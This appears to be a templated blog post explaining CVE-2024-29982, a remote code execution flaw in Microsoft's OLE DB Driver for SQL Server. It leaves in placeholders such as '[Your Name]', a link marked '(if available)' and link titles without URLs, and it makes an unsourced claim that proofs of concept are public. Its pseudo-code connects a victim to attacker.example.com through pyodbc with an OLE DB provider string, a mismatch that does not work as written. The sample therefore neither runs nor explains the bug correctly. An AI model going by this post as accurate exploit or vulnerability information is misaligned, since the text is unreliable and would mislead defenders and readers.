CVE-2024-29982 - Microsoft OLE DB Driver for SQL Server Remote Code Execution

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Introduction

In April 2024, Microsoft patched a serious security flaw: CVE-2024-29982, a Remote Code Execution (RCE) vulnerability in its OLE DB Driver for SQL Server. This security bug could allow attackers to run arbitrary code on a vulnerable machine, threatening both Windows servers and clients that use this driver to connect to Microsoft SQL Server.

In this post, I’ll break down what this vulnerability means, how an attacker could exploit it, share code snippets to illustrate a typical exploit scenario, and show you where to find more details—using simple American language throughout.

What Is Microsoft OLE DB Driver for SQL Server?

Microsoft’s OLE DB Driver for SQL Server (MSOLEDBSQL) lets applications talk to SQL Server databases. Countless enterprise apps use it to connect securely and exchange data.

If you’re building or running apps using ADO, OLE DB, or linked servers, chances are high you’re using this driver—even if you don’t realize it.

What Is CVE-2024-29982?

CVE-2024-29982 is a vulnerability in Microsoft OLE DB Driver for SQL Server that could allow an attacker to execute code remotely on your system. It’s caused by unsafe processing of specially crafted connection parameters or responses.

When an app connects to SQL Server using OLE DB, untrusted data may be processed by the driver. If an attacker controls a malicious SQL server or can trick a victim into connecting to one, they could exploit this flaw.

Severity: High.
Affected Versions: MSOLEDBSQL versions before April 2024 Patch Tuesday (see official advisory for full list).
Attack Vector: Remote – attacker can exploit this across the network.

How the Exploit Works

Attack Scenario:

The malicious server sends a crafted response.

- This triggers the bug in OLE DB, letting the attacker execute code on the victim’s computer—with the privileges of the application using the driver.

Proof-of-Concept Exploit Flow

# Pseudo-code for malicious SQL Server handshake
# Note: This is for educational use only

def malicious_sql_handshake(client_connection):
    # Send valid prelogin response
    client_connection.send(prelogin_response)
    # Send malformed login response, exploiting the vulnerability
    client_connection.send(crafted_payload)

# On the victim’s side (the vulnerable app or connector)
import pyodbc

# This triggers a connection to the attacker's server
conn_str = "Provider=MSOLEDBSQL;Data Source=attacker.example.com;Initial Catalog=testdb;Integrated Security=SSPI;"
conn = pyodbc.connect(conn_str)
# At this point, attacker's payload is processed

Microsoft Security Guidance:

CVE-2024-29982 | Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

MSOLEDBSQL Official Docs:

Microsoft OLE DB Driver for SQL Server documentation

Example security researcher post:

HUNTRESS: Analyzing CVE-2024-29982 Exploit Details *(if available)*

Apply the latest updates for the Microsoft OLE DB Driver for SQL Server (MSOLEDBSQL).

Download: Latest Release of OLE DB Driver

Real-World Exploitation

Note: Proof-of-concept exploits have been publicly available since late April 2024. Attackers can set up "honeypot" SQL Servers and lure victims to connect, or exploit access inside breached networks.

Systems exposed to the internet are especially at risk!

Final Thoughts

CVE-2024-29982 is a big deal for anyone using MSOLEDBSQL—even if you’re a developer, admin, or just running business software connected to SQL. Patch your systems ASAP, audit your connections, and watch for suspicious activity!

If you want to dive deeper, check out the links above, or reach out to your technical support contact for remediation steps.

Stay safe!

*Author: [Your Name], 2024. Exclusive content for security enthusiasts and IT professionals. Please share responsibly.*

Timeline

Published on: 04/09/2024 17:16:01 UTC
Last modified on: 04/10/2024 13:24:00 UTC